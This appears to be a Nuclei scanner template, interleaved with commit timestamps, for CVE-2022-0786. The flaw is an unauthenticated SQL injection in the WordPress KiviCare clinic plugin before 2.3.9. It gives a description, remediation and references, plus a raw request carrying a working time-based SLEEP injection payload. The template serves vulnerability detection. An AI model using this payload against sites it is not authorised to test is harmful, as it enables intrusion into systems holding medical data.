2022-12-19 13:23:58 +00:00
id : CVE-2022-0786
info :
2023-01-16 17:41:15 +00:00
name : WordPress KiviCare <2.3.9 - SQL Injection
2022-12-19 13:23:58 +00:00
author : theamanrawat
severity : critical
description : |
2023-01-16 17:41:15 +00:00
WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the KiviCare plugin (2.3.9) or apply the provided patch to fix the SQL Injection vulnerability.
2022-12-19 13:23:58 +00:00
reference :
- https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
- https://wordpress.org/plugins/kivicare-clinic-management-system/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0786
classification :
2023-01-05 11:21:19 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-12-19 13:23:58 +00:00
cve-id : CVE-2022-0786
2023-01-05 11:21:19 +00:00
cwe-id : CWE-89
2023-10-14 11:27:55 +00:00
epss-score : 0.02077
2023-11-14 05:56:48 +00:00
epss-percentile : 0.87817
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
2022-12-19 13:23:58 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : iqonic
product : kivicare
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-01-05 11:21:19 +00:00
tags : sqli,kivicare-clinic-management-system,unauth,wordpress,wp-plugin,wp,cve,cve2022,wpscan
2022-12-19 13:23:58 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-19 13:23:58 +00:00
- raw :
- |
@timeout : 10s
GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "Doctor details")'
2022-12-20 09:43:24 +00:00
condition : and
2023-11-14 10:20:39 +00:00
# digest: 4b0a00483046022100ffc59309643a624e57b6ff385162b2eb685070dd87310581bf23f5e6a06da86b022100d24cbf91b1f6152924177b68cb695c8638eeee3e206cee6b63c5271a31dd4277:922c64590222798bb761d5b6d8e72950